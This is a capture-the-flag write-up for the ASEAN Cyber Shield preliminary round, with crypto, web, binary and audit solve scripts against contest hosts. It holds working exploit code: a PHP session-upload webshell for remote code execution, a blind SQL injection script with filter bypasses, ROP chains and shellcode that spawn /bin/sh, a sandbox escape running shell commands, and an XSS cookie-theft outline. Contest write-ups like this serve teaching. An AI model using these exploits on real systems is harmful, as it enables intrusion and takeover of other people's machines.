# ASEAN Cyber Shield Hacking Contest Preliminary Round - Writeup ## Crypto ### CommonRSA Common modulus attack script: ```python from Crypto.Util.number import long_to_bytes from sage.all import xgcd with open("pubkey.txt", "r") as f: n, e1, e2 = list(map(int, f.read().splitlines())) with open("ciphertexts.txt", "r") as f: c1, c2 = list(map(int, f.read().splitlines())) g, a, b = xgcd(e1, e2) # extend euclid algorithm c1 = pow(c1, a, n) c2 = pow(c2, b, n) print(long_to_bytes(c1*c2 % n)) ``` ### fiboCrypt Key is the `0xC0FFEE`'th fibonacci. Sagemath alreally have a fast compute function for it script: ```python from sage.all import fibonacci from hashlib import sha512 FLAG = b"ACS{??????????????????????????????????}" def gen_key(k): n = fib(k) h = sha512(str(n).encode()).digest() return h def unpad(m): return m[:len(FLAG)] with open("output.txt", "r") as f: ct = bytes.fromhex(f.read().strip()) def decrypt(c, key): m = bytes([a ^ b for a, b in zip(c, key)]) m = unpad(m) return m k = 0xC0FFEE fib = fibonacci def gen_key(k): n = fib(k) print(n.nbits()) h = sha512(str(n).encode()).digest() return h key = gen_key(k) pt = decrypt(ct, key) print(pt) ``` ### HomoRSA Server will sign a message for us, but didn't check message smaller than `N` script: ```python from pwn import remote, process, args from Crypto.Util.number import bytes_to_long, long_to_bytes HOST = "" PORT = 1111 ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and" if args.LOCAL: io = process("./challenge.py") else: io = remote(HOST, PORT) def rla(a): io.recvuntil(a) return io.recvline(0) n = int(rla(b"Modulus: "), 16) e = int(rla(b"Exponent: "), 16) print(f"{n = }") print(f"{e = }") m = bytes_to_long(ADMIN_MSG) m_sus = m + n print(m.bit_length()) io.sendlineafter(b"> ", b"1") io.sendlineafter(b"> ", long_to_bytes(m_sus).hex().encode()) sig = int(io.recvline(0).split(b": ")[-1], 16) print(sig) io.sendlineafter(b"> ", b"2") io.sendlineafter(b"> ", hex(sig)[2:].encode()) io.interactive() ``` ## Misc ### calccalccalc Just replace the operator word with the symbol and than eval script: ```python from pwn import remote from tqdm import trange func = [ ("plus", "+"), ("minus", "-"), ("multi", "*"), ("divide", "//"), ("mod", "%"), ("and", "&"), ("xor", "^"), ("or", "|"), ] def translate(expr): for key, value in func: expr = expr.replace(key, value) return expr io = remote("192.168.0.45", 50000) io.sendafter(b"Good Luck!\n", b"\n") for i in trange(100): expr = io.recvuntil(b" = ", drop=True).decode() expr = translate(expr) io.sendline(str(eval(expr)).encode()) io.interactive() ``` ### imgimgimg first, **binwalk** it and we can see it has another png file. Open it to get the password ![CleanShot 2023-11-22 at 17.12.08@2x](https://hackmd.io/_uploads/BysfV8oET.png) ![CleanShot 2023-11-22 at 17.13.05@2x](https://hackmd.io/_uploads/SJANVLoEp.png) Unzip the other zip file, we have 16 picture that combine into a QR Code picture ![CleanShot 2023-11-22 at 17.15.20@2x](https://hackmd.io/_uploads/SJPp4IiET.png) ## Web ### EASY PHPINFO This challenge is about LFI2RCE via php session upload progress, by input `?num=\n1` we can get the output of phpinfo page, save the value of session.save_path and then abusing lfi bug to include the session file final script: ```python import requests import base64 import re url = "http://192.168.0.45:20001" def exploit(): headers = { "Cookie": "PHPSESSID=acd" } data = { "PHP_SESSION_UPLOAD_PROGRESS": "<?php echo system($_GET['cmd']); ?>" , } files = { "file": ("passwd", 'cccccccccccccccccc', "application/octet-stream"), } requests.post(url, headers=headers, data=data, files=files, verify=False, proxies={"http":"http://127.0.0.1:8080"}) response = requests.get(url + "/", params={"num": "\n1", "page": "/tmp/83031eb8-41ac-11ee-b1b3-009337b0183d/sess_acd", "cmd": "cat /flag"}, headers=headers, verify=False, proxies={"http":"http://127.0.0.1:8080"}) print(response.text) if __name__ == "__main__": exploit() ``` ### Render board There are two bugs in this challenge, sqli to get admin account and then rce via ejs rendering engine. sqli in the check duplication account functionality: ![image](https://hackmd.io/_uploads/SJL2_Ec4a.png) script for getting column name of table `user` ```python import requests url = "http://192.168.0.45:22223" def bypass(payload): for p in payload: if p in repl: payload = payload.replace(p, repl[p]) if("or" in payload): payload = payload.replace("or", "oliker") if("and" in payload): payload = payload.replace("and", "alikend") if("substr" in payload): payload = payload.replace("substr", "sublikestr") return payload ### "%27/**/oliker/**/%281=0%29/**/oliker/**/%27" repl = {"'": "%27", " ": "/**/", "(": "%28", ")": "%29", "_": r"%5f", ".": "%2e"} column = "" for i in range(1, 30): for j in range(32, 127): payload = f"""' or IF((select ord(substr(column_name,{i},1)) from information_schema.columns where table_name='user' and table_schema=database() limit 2,1)={j},1,0) or 'a'='b""" #print(payload) payload = bypass(payload) # print(payload) data_json = {"username": payload} r = requests.post(url + "/auth/check_duplicate", json=data_json, proxies={"http": "http://127.0.0.1:8080"}) if("false" in r.text): column += chr(j) print(column) break ``` => `userid` and `passwd` Then change it a litle bit to find the passwd of admin user `acs_admin` ```python userid = "acs_adm" for i in range(1, 30): for j in range(32, 127): payload = f"""' or IF((select ord(substr(passwd,{i},1)) from user where is_admin=1 limit 0,1)={j},1,0) or 'a'='b""" #print(payload) payload = bypass(payload) # print(payload) data_json = {"username": payload} r = requests.post(url + "/auth/check_duplicate", json=data_json) if("false" in r.text): column += chr(j) print(column) break ``` After that, login into admin account and then rce to get the flag ![image](https://hackmd.io/_uploads/rkVvYEqNa.png) ### Capture The Image Xss steal secret value in bot cookie via `svg` tag with `onload` attribute and then capture the image with url `view-source:file:///flag` get secret ![image](https://hackmd.io/_uploads/HJxohSi4T.png) screen the flag ![image](https://hackmd.io/_uploads/H1O23riV6.png) flag ![image](https://hackmd.io/_uploads/r1SpnHo46.png) ### Flask newbie SSTI at `/{{config}}` to leak jwt secret key, then impersonate admin user `poppo` and exploit local file read at `/downloadifyoucan?filenameyoucandoit=...` ![image](https://hackmd.io/_uploads/BJrN6ri4p.png) --- ## Binary ### Spim The Program will ask user to input a mips shellcode, shuffles opcodes and execute that shellcode with mixed opcodes: ![image](https://hackmd.io/_uploads/S1QdKHsVa.png) Fortunately we're able to see mixed opcode so we can write a script to mix the opcode for our shell that can execute `execve` with argument `/bin/sh`: ```python from pwn import * r = process('./spimspim.sh') shellcode = b"\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xf4\xff\xaf\xaf\x73\x68\x0f\x3c\x6e\x2f\xef\x35\xf8\xff\xaf\xaf\x26\x78\xef\x01\xfc\xff\xaf\xaf\x00\x00\x05\x24\x00\x00\x06\x24\xab\x0f\x02\x24\xf4\xff\xa4\x27\x0c\x00\x00\x00" r.recvuntil(b'hexdump of op table: \n') s = r.recvuntil(b'hexdump of register') li = s.split(b'|') op_table = b'' for i in li: if b'\n' in i: if b'hexdump' in i: continue op_table += bytes.fromhex(i.split(b'\n')[1].decode()) else: op_table += bytes.fromhex(i.decode()) print('op_table: ', op_table) r.recvuntil(b'table: \n') s = r.recvuntil(b'hexdump of funct') li = s.split(b'|') register_table = b'' for i in li: if b'\n' in i: if b'hexdump' in i: continue register_table += bytes.fromhex(i.split(b'\n')[1].decode()) else: register_table += bytes.fromhex(i.decode()) print('register_table: ', register_table) r.recvuntil(b'table: \n') funct_table = b'' for i in range(4): x = r.recvuntil(b'|')[:-1] if b'\n' in x: if b'hexdump' in x: continue funct_table += bytes.fromhex(x.split(b'\n')[1].decode()) else: funct_table += bytes.fromhex(x.decode()) print('funct_table: ', funct_table) # -- Shuffle opcode i_opcode = [4, 5, 8, 9, 10, 11, 12, 13, 15, 35, 36, 37, 40, 41, 43, 48, 56] j_opcode = [2, 3] r_opcode = [0] li_int = [] def find_id_op(val): return op_table.index(bytes([val])) def find_id_reg(val): return register_table.index(bytes([val])) def find_id_func(val): return funct_table.index(bytes([val])) def shuffle_iopcode(val): binary_form = bin(val)[2:].rjust(32, '0') opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0') rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0') rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0') imm = binary_form[16:32] return int(opcode + rs + rt + imm, 2) def shuffle_ropcode(val): binary_form = bin(val)[2:].rjust(32, '0') opcode = bin(find_id_op(int(binary_form[:6], 2)))[2:].rjust(6, '0') rs = bin(find_id_reg(int(binary_form[6:6+5], 2)))[2:].rjust(5, '0') rt = bin(find_id_reg(int(binary_form[11:11+5], 2)))[2:].rjust(5, '0') rd = bin(find_id_reg(int(binary_form[16:16+5], 2)))[2:].rjust(5, '0') shamt = binary_form[21:21+5] funct = bin(find_id_func(int(binary_form[26:26+6], 2)))[2:].rjust(6, '0') return int(opcode + rs + rt + rd + shamt + funct, 2) for i in range(0, len(shellcode), 4): li_int.append(u32(shellcode[i:i+4])) for i in range(len(li_int)): binary_form = bin(li_int[i])[2:].rjust(32, '0') print(binary_form) opcode = int(binary_form[:6], 2) print(hex(opcode)) if opcode in i_opcode: li_int[i] = shuffle_iopcode(li_int[i]) elif opcode in r_opcode: li_int[i] = shuffle_ropcode(li_int[i]) else: print('lol') exit(-1) shellcode = b'' for i in range(len(li_int)): shellcode += p32(li_int[i]) r.sendline(shellcode + b'\x00' * 4) r.interactive() # 0x3fdc1000: lui t7,0x6962 # 0x3fdc1004: ori t7,t7,0x2f2f # 0x3fdc1008: sw t7,-12(sp) # 0x3fdc100c: lui t7,0x6873 # 0x3fdc1010: ori t7,t7,0x2f6e # 0x3fdc1014: sw t7,-8(sp) # 0x3fdc1018: xor t7,t7,t7 # 0x3fdc101c: sw t7,-4(sp) # 0x3fdc1020: li a1,0 # 0x3fdc1024: li a2,0 # 0x3fdc1028: li v0,4011 # 0x3fdc102c: addiu a0,sp,-12 # 0x3fdc1030: syscall ``` ### Maze The challenge will show a random maze each stage, and after successfully solve it (by reaching the final tile of the maze, which is at [0x1f, 0x1f]), the challenge will create a character for the flag. Fast way to solve is to patch the program to win everytime the game starts -> the flag will appear after we finish every level `ACS{3e88fc35ac5b6011b6e7e32afd9552666db7bb21d30e83859665ea5e2cae99bc_I7s_funny_M@ze_Gam3!_C0n9r@tu1ation$_On_C13ar!}` ### expr This challenge will check our flag by spawning thread, and do a comparison check. By extracting every comparison, we can use z3 and some guess work to recover the flag. ```python from z3 import * arg1 = [BitVec(f"flag_{i}", 64) for i in range(0, 36)] s = Solver() def u32(x, id): return (x[id + 3] << 24) + (x[id + 2] << 16) + (x[id + 1] << 8) + x[id + 0] for i in range(32): s.add(0 <= arg1[i], arg1[i] <= 0x100) s.add(arg1[0] == ord('A')) rax_3 = LShR(u32(arg1, 8), 5) & 0x3f rax_7 = LShR(u32(arg1, 0x1c), 2) & 0x3f s.add((((((rax_3 << 0xb) + 7) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x3d) ^ LShR(rax_3, 3))) & 0x3f) == 0x3f) rax_3 = LShR(u32(arg1, 0x14), 0) & 0x7ff rax_7 = LShR(u32(arg1, 0x1b), 2) & 0x7ff s.add((((((rax_3 << 0xd) + 0x557) ^ LShR(rax_7, 2)) + (((rax_7 << 6) + 0x10c) ^ LShR(rax_3, 6))) & 0x7ff) == 0x79d) rax_3 = LShR(u32(arg1, 0xc), 3) & 0x7fff rax_7 = LShR(u32(arg1, 2), 4) & 0x7fff s.add((((((rax_3 << 0xc) + 0xec6) ^ LShR(rax_7, 0xb)) + (((rax_7 << 1) + 0x7b9d) ^ LShR(rax_3, 3))) & 0x7fff) == 0x399a) rax_3 = LShR(u32(arg1, 0x13), 2) & 0x3f rax_7 = LShR(u32(arg1, 7), 4) & 0x3f s.add((((((rax_3 << 7) + 0x27) ^ LShR(rax_7, 1)) + (((rax_7 << 1) + 0x39) ^ LShR(rax_3, 1))) & 0x3f) == 0x17) rax_3 = LShR(u32(arg1, 0xf), 2) & 0x7ff rax_7 = LShR(u32(arg1, 7), 2) & 0x7ff s.add((((((rax_3 << 0xf) + 0x58f) ^ LShR(rax_7, 4)) + (((rax_7 << 1) + 0x383) ^ LShR(rax_3, 0xe))) & 0x7ff) == 0x16c) rax_3 = LShR(u32(arg1, 0x13), 4) & 0x7fff rax_7 = LShR(u32(arg1, 0xe), 7) & 0x7fff s.add((((((rax_3 << 4) + 0x7482) ^ LShR(rax_7, 9)) + (((rax_7 << 0xc) + 0x7037) ^ LShR(rax_3, 0xf))) & 0x7fff) == 0x77f8) rax_3 = LShR(u32(arg1, 2), 6) & 0x3fff rax_7 = LShR(u32(arg1, 0x10), 7) & 0x3fff s.add((((((rax_3 << 0xa) + 0x1575) ^ LShR(rax_7, 0xc)) + (((rax_7 << 0xc) + 0x2f62) ^ LShR(rax_3, 1))) & 0x3fff) == 0x70b) rax_3 = LShR(u32(arg1, 0x10), 4) & 0x3f rax_7 = LShR(u32(arg1, 0x10), 0) & 0x3f s.add((((((rax_3 << 0xe) + 0x3b) ^ LShR(rax_7, 0xc)) + (((rax_7 << 3) + 0x33) ^ LShR(rax_3, 0xc))) & 0x3f) == 6) rax_3 = LShR(u32(arg1, 0x1b), 6) & 0x7f rax_7 = LShR(u32(arg1, 8), 2) & 0x7f s.add((((((rax_3 << 5) + 0x35) ^ LShR(rax_7, 4)) + (((rax_7 << 0xd) + 0x65) ^ LShR(rax_3, 3))) & 0x7f) == 0x20) rax_3 = LShR(u32(arg1, 0xf), 1) & 0x1fff rax_7 = LShR(u32(arg1, 2), 0) & 0x1fff s.add((((((rax_3 << 6) + 0x6f6) ^ LShR(rax_7, 4)) + (((rax_7 << 0xf) + 0x175b) ^ LShR(rax_3, 5))) & 0x1fff) == 0x41a) rax_3 = LShR(u32(arg1, 0xa), 5) & 0x3fff rax_7 = LShR(u32(arg1, 0x15), 1) & 0x3fff s.add((((((rax_3 << 4) + 0x96f) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xf) + 0x7a5) ^ LShR(rax_3, 1))) & 0x3fff) == 0x3a87) rax_3 = LShR(u32(arg1, 9), 0) & 0x3ff rax_7 = LShR(u32(arg1, 0x12), 7) & 0x3ff s.add((((((rax_3 << 2) + 0x370) ^ LShR(rax_7, 5)) + (((rax_7 << 0xf) + 0x186) ^ LShR(rax_3, 0xb))) & 0x3ff) == 0x2bd) rax_3 = LShR(u32(arg1, 0x14), 6) & 0xfff rax_7 = LShR(u32(arg1, 4), 1) & 0xfff s.add((((((rax_3 << 0xc) + 0x537) ^ LShR(rax_7, 0xd)) + (((rax_7 << 5) + 0x774) ^ LShR(rax_3, 5))) & 0xfff) == 0x409) rax_3 = LShR(u32(arg1, 0x12), 6) & 0xfff rax_7 = LShR(u32(arg1, 0x11), 1) & 0xfff s.add((((((rax_3 << 2) + 0xd0c) ^ LShR(rax_7, 0xa)) + (((rax_7 << 1) + 0xce6) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x190) rax_3 = LShR(u32(arg1, 0x12), 0) & 0x3ff rax_7 = LShR(u32(arg1, 1), 7) & 0x3ff s.add((((((rax_3 << 0xe) + 0x314) ^ LShR(rax_7, 0xf)) + (((rax_7 << 0xb) + 0x241) ^ LShR(rax_3, 4))) & 0x3ff) == 0x17a) rax_3 = LShR(u32(arg1, 0x1b), 7) & 0x1ff rax_7 = LShR(u32(arg1, 0x17), 0) & 0x1ff s.add((((((rax_3 << 2) + 0x163) ^ LShR(rax_7, 0xe)) + (((rax_7 << 1) + 0x121) ^ LShR(rax_3, 0xd))) & 0x1ff) == 0xce) rax_3 = LShR(u32(arg1, 0xc), 0) & 0xfff rax_7 = LShR(u32(arg1, 0xa), 4) & 0xfff s.add((((((rax_3 << 2) + 0x5f9) ^ LShR(rax_7, 0xa)) + (((rax_7 << 0xa) + 0xf9e) ^ LShR(rax_3, 0xc))) & 0xfff) == 0x2a7) rax_3 = LShR(u32(arg1, 8), 3) & 0x3ff rax_7 = LShR(u32(arg1, 0xd), 2) & 0x3ff s.add((((((rax_3 << 5) + 0x3c) ^ LShR(rax_7, 8)) + (((rax_7 << 0xc) + 0x213) ^ LShR(rax_3, 1))) & 0x3ff) == 0x3ce) rax_3 = LShR(u32(arg1, 0x11), 3) & 0x3f rax_7 = LShR(u32(arg1, 0x1a), 3) & 0x3f s.add((((((rax_3 << 3) + 0x20) ^ LShR(rax_7, 4)) + (((rax_7 << 8) + 0x2a) ^ LShR(rax_3, 7))) & 0x3f) == 4) rax_3 = LShR(u32(arg1, 7), 1) & 0x7fff rax_7 = LShR(u32(arg1, 1), 6) & 0x7fff s.add((((((rax_3 << 0xa) + 0x3ab2) ^ LShR(rax_7, 8)) + (((rax_7 << 0xd) + 0x1c42) ^ LShR(rax_3, 3))) & 0x7fff) == 0x6220) rax_3 = LShR(u32(arg1, 0xd), 0) & 0xfff rax_7 = LShR(u32(arg1, 0x14), 0) & 0xfff s.add((((((rax_3 << 0xa) + 0xbd1) ^ LShR(rax_7, 4)) + (((rax_7 << 6) + 0x9f6) ^ LShR(rax_3, 0xb))) & 0xfff) == 0x239) rax_3 = LShR(u32(arg1, 2), 0) & 0x3f rax_7 = LShR(u32(arg1, 0x1b), 3) & 0x3f s.add((((((rax_3 << 8) + 0x16) ^ LShR(rax_7, 5)) + (((rax_7 << 1) + 0x1f) ^ LShR(rax_3, 3))) & 0x3f) == 0x3c) rax_3 = LShR(u32(arg1, 1), 2) & 0x7f rax_7 = LShR(u32(arg1, 0x17), 5) & 0x7f s.add((((((rax_3 << 0xb) + 0x33) ^ LShR(rax_7, 8)) + (((rax_7 << 0xe) + 0xd) ^ LShR(rax_3, 8))) & 0x7f) == 0x40) rax_3 = LShR(u32(arg1, 0x18), 2) & 0xfff rax_7 = LShR(u32(arg1, 1), 0) & 0xfff s.add((((((rax_3 << 5) + 0xf24) ^ LShR(rax_7, 8)) + (((rax_7 << 3) + 0xcf2) ^ LShR(rax_3, 4))) & 0xfff) == 0x7d9) rax_3 = LShR(u32(arg1, 0x18), 7) & 0x7ff rax_7 = LShR(u32(arg1, 0x15), 1) & 0x7ff s.add((((((rax_3 << 5) + 0x7eb) ^ LShR(rax_7, 0xd)) + (((rax_7 << 4) + 0x789) ^ LShR(rax_3, 1))) & 0x7ff) == 0x3d2) ... ``` `ACS{y0u50lv3DtH33xpr35510N5!}` ### rustarm A simple encryption algorithm, we can easily write a script to decrypt the flag ```python x = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!@#$%^&*()-_=+' key = 'ACSISACEANCYBERSECURITY' enc = bytes.fromhex('2c171c245d43000e3a24202323472130092757002a2b15') for i in range(23): print(x[x.index(key[i]) ^ enc[i]], end = '') ``` `ACS{cR0s$_C0mpi1e_wi7h_Rust}` ### Register It has 2 buffer overflow bugs. The first one can leak canary because printf does not stop at null byte. We will use the second bof to partial overwrite main's return address to <__libc_start_call_main+121>, which can return to main one more time, then leak libc address then rop. ```python from pwn import * p = remote('192.168.0.45', 19876) # p = process('./register') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') payload = b'a'*0x29 p.sendafter(b'> ', payload) p.recvuntil(b'a'*0x29) canary = u64(b'\x00' + p.recv(7)) print(hex(canary)) payload = b'a'*0x28 payload += p64(canary) payload += b'a'*8 payload += b'\x89' gdb.attach(p, 'b*main+302') p.sendafter(b'> ', payload) payload = b'a'*0x38 p.sendafter(b'> ', payload) p.recvuntil(b'a'*0x38) libc.address = u64(p.recv(6) + b'\x00'*2) - 0x29d90 print(hex(libc.address)) pop_rdi = libc.address + 0x2a3e5 bin_sh = next(libc.search(b'/bin/sh')) payload = b'a'*0x28 payload += p64(canary) payload += b'a'*8 payload += p64(pop_rdi) payload += p64(bin_sh) payload += p64(pop_rdi + 1) payload += p64(libc.sym['system']) p.sendafter(b'> ', payload) p.interactive() ``` ### Sig Me Set signal to SIGALRM. ### Coding test Use getdents syscall to get flag name. Then orw. ```python from pwn import * context.arch = "x86_64" # sh = shellcraft.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c") # sh += shellcraft.read(3, 'rsp', 0x100) # sh += shellcraft.write(1, 'rsp', 'rax') # print(asm(sh)) # p = process('./coding_test') p = remote('192.168.0.45', 10137) p.recv() # gdb.attach(p) # p.sendline(asm(sh)) # /home/ctf_user/flag_ed807a45f84463aac37414be73d5849c p.sendline(asm(''' push 0 mov rbx, 0x0000000063393438 push rbx mov rbx, 0x3564333765623431 push rbx mov rbx, 0x3437336361613336 push rbx mov rbx, 0x3434386635346137 push rbx mov rbx, 0x303864655f67616c push rbx mov rbx, 0x662f726573755f66 push rbx mov rbx, 0x74632f656d6f682f push rbx mov rdi, rsp mov rax, 2 xor rsi, rsi xor rdx, rdx syscall mov rdi, rax mov rsi, rsp mov rdx, 0x100 xor rax, rax syscall mov rdi, 1 mov rax, 1 syscall ''')) print(p.recv(0x100)) # p.sendline(asm(''' # mov rbx, 0x002f726573755f66 # push rbx # mov rbx, 0x74632f656d6f682f # push rbx # mov rdi, rsp # xor rsi, rsi # xor rdx, rdx # mov rax, 2 # syscall # mov rdi, rax # mov rsi, rsp # mov rdx, 0x200 # mov rax, 217 # syscall # mov rdi, 1 # mov rax, 1 # mov rsi, rsp # mov rdx, 0x100 # syscall # ''')) p.interactive() ``` ### Rendezvous Bof in `block` command. Leak through `content`. ```python from pwn import * # libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc.so.6') # p = process('./rendezvous') # p = process('./rendezvous_patched') p = remote('192.168.0.45', 60002) script = ''' b*0x55555555787C b*0x555555557EF7 b*0x555555558060 b*0x555555558609 b*0x5555555555C3 b*0x5555555556bc d 2 3 c ''' random_str = p.recvline()[:-1].decode() # print(random_str) # set pass payload = b'\xef\xbb\xbf' payload += f'{{"cmd":0, "pass":"{random_str}"}}'.encode() p.sendline(payload) payload = b'\xef\xbb\xbf' key = '0,'*0x400 + '0' payload += f'{{"cmd":1, "key":[{key}]}}'.encode() p.sendline(payload) payload = b'\xef\xbb\xbf' block = '0,'*0x108 + '"a",'*0x100 + '"a"' content = '0,'*0x150 + '0' payload += f'{{"cmd":2, "block":[{block}], "content":[{content}]}}'.encode() p.sendline(payload) p.recvline() p.recvline() res = p.recvrepeat(0.5) canary = u64(res[0x108:0x110]) print(hex(canary)) libc.address = u64(res[0x138:0x140]) - 0x29d90 print(hex(libc.address)) pop_rdi = libc.address + 0x2a3e5 bin_sh = next(libc.search(b'/bin/sh')) system = libc.sym['system'] rop = b'a'*0x108 rop += p64(canary) rop += b'a'*8 rop += p64(pop_rdi) rop += p64(bin_sh) rop += p64(pop_rdi + 1) rop += p64(system - 16) payload = b'\xef\xbb\xbf' block = '' for i in rop: block += str(i) + ',' block += '0' content = '0,'*0x150 + '0' # gdb.attach(p, script) payload += f'{{"cmd":2, "block":[{block}]}}'.encode() print(payload) p.sendline(payload) p.interactive() ``` ## Audit ### escape room Server receive code from input and check blacklist then exec, but it didn't clean the global variables. So in `globals()` already have module "os", "sys", alse use `__dict__` to acess to the method in the object solve.py: ```python from pwn import remote, process, args from Crypto.Util.number import bytes_to_long, long_to_bytes HOST = "192.168.0.45" PORT = 50137 ADMIN_MSG = b"There are two ways to annoy people. The first thing is to stop talking and" io = remote(HOST, PORT) src = open("src.py", "r").read() + "\nEOF\n" io.sendafter(b"> ", src) io.interactive() ``` src.py: ```python lmao = globals()["o" + "s"] print(lmao.__dict__["sy"+"stem"]("""`cd home && cd ctf_user && cat fla* | base64 | tr -d "\n"`""")) ``` ### Key in haystack If command is `ADMIN`, it will open the key file, and reads its content to the stack, but later when we use the `insert` function, the `size` is not initialized and will still hold the value of the `key`, so we can leak 3 bytes of the key (still need to send the first byte to read function). Then bruteforce one byte to get the correct key, insert shellcode then execute it. ```python from pwn import * p = process('./chall') # p = remote('192.168.0.45', 5555) # ip = b'127.0.0.1' port = 9999 sc = b"\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x6A\x00\x53\x54\x5F\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05" # gdb.attach(p, 'b*main+71') sleep(2) p.sendline(b'INSERT'.ljust(9, b'\x00')) sleep(2) p.send(p32(len(sc))) sleep(2) p.send(sc) for i in range(0x40, 0x41): # for i in range(0xff + 1): p.sendline(b'ADMIN'.ljust(9, b'\x00')) a = (0x4e6230 << 8) + i print(p32(a)) p.send(p32(a)) p.interactive() ```